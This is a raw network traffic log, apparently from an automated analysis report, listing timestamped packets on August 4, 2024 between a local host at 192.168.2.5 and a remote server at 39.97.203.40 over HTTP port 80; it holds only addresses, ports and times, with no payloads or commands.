Aug 4, 2024 12:55:10.268543959 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.268563032 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.272743940 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.272793055 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.272795916 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.272811890 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.272856951 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.272926092 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.272942066 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.272957087 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.272972107 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.272984028 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.273011923 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.275715113 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.275765896 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.275782108 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.275810957 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.275865078 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.275880098 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.275913954 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.275940895 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.275955915 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.275981903 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.278430939 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.278476954 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.278492928 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.278501987 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.278541088 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.278618097 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.278633118 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.278647900 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.278662920 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.278671026 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.278707027 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.288193941 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.288240910 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.288255930 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.288286924 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.288403988 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.288419008 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.288434029 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.288465977 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.288568974 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.288568974 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.297658920 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.297699928 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.297709942 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.297713041 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.297749996 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.297769070 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.297950029 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.297966003 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.297981977 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.297996044 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.297996044 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.298022985 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.313663006 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.313694000 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.313709021 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.313741922 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.313803911 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.313863039 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.313929081 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.313929081 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.313945055 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.313960075 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.313966990 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.314018965 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.314178944 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.314193964 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.314208984 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.314223051 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.314239025 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.314254999 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.314258099 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.314285994 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.316907883 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.316931963 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.316947937 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.316958904 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.316993952 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.317135096 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.317151070 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.317164898 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.317181110 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.317188978 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.317225933 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.323290110 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.323355913 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.323400974 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.323411942 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.323427916 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.323471069 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.323540926 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.323555946 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.323571920 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.323596001 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.325825930 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.325850010 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.325864077 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.325875998 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.325905085 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.326041937 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.326107979 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.326152086 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.326225042 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.326241016 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.326253891 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.326278925 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.328030109 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.328077078 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.328107119 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.328121901 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.328161955 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.328408003 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.328423023 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.328438044 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.328452110 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.328454018 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.328497887 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.333929062 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.333952904 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.333967924 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.333997965 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.334105015 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.334155083 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.334192038 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.334207058 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.334219933 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.334247112 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.339765072 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.339812040 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.339847088 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.339863062 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.339894056 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.340722084 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.341036081 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.341052055 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.341068029 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.341080904 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.341109991 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.345572948 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.345740080 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.345781088 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.345784903 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.345797062 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.345834970 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.345896006 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.345911026 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.345925093 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.345948935 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.351989031 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.352029085 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.352036953 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.352046013 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.352085114 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.352123022 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.352166891 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.352205038 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.352251053 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.352267027 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.352279902 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.352303028 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.355842113 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.355885983 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.355920076 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.355935097 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.355967999 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.356062889 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.356077909 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.356093884 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.356117010 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.356184006 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.356240988 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.360739946 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.360817909 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.360831022 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.360846043 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.360867023 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.360882998 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.360913992 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.360929966 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.360970974 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.361006021 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.361020088 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.361057997 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.363450050 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.363462925 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.363485098 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.363500118 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.363501072 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.363514900 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.363531113 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.363534927 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.363545895 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.363565922 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.363567114 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.363596916 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.366002083 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.366048098 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.366061926 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.366087914 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.366152048 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.366166115 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.366180897 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.366195917 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.366195917 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.366219044 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.366270065 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.366312981 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.376051903 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.376095057 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.376111031 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.376138926 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.376230955 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.376245975 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.376260996 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.376276970 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.376292944 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.376359940 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.385606050 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.385622978 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.385638952 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.385658979 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.385672092 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.385680914 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.385740042 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.385755062 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.385770082 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.385781050 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.385814905 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.401529074 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.401734114 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.401747942 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.401771069 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.401782990 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.401784897 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.401802063 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.401813030 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.401818037 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.401842117 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.401946068 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.401961088 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.401976109 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.401990891 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.401990891 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.402007103 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.402014017 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.402044058 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.402216911 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.402231932 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.402271986 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.404491901 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.404552937 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.404567957 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.404596090 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.404690981 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.404706955 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.404722929 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.404736042 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.404737949 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.404762983 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.410696983 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.410742998 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.410767078 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.410783052 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.410821915 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.410890102 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.410911083 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.410952091 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.410975933 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.410990953 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.411022902 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.411036968 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.413685083 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.413711071 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.413724899 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.413733006 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.413774967 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.413800955 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.413888931 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.413904905 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.413933039 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.414011955 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.414026022 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.414055109 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.415788889 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.415813923 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.415827990 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.415839911 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.415862083 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.415942907 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.415958881 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.415975094 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.415991068 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.416096926 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.416141987 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.421358109 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.421417952 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.421432018 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.421478033 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.421524048 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.421547890 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.421562910 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.421621084 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.421701908 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.421716928 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.421773911 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.427437067 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.427484989 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.427499056 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.427551031 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.427556992 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.427572012 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.427587032 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.427611113 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.427666903 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.427763939 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.427778006 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.427819967 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.433146000 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.433209896 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.433226109 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.433286905 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.433361053 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.433381081 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.433398008 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.433413029 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.433423042 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.433485985 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.439711094 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.439774036 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.439788103 CEST	49709	80	192.168.2.5	39.97.203.40
